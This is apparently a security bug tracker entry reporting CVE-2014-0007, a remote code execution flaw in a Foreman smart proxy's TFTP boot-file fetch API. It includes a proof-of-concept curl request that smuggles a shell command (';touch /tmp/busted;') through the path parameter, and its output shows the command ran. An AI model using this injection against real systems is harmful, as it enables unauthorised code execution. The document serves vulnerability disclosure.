Bug #6086
Updated by Dominic Cleal about 10 years ago
*EMBARGOED until further notice*
Reported by Lukas Zapletal to the security team and assigned CVE-2014-0007.
The smart proxy's API for fetching files from installation media for TFTP boot files permits remote code execution:
<pre>
[root@nightly ~]# curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://localhost:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
[root@nightly ~]# ll /tmp/busted
-rw-r--r--. 1 foreman-proxy foreman-proxy 0 Jun 5 11:13 /tmp/busted
</pre>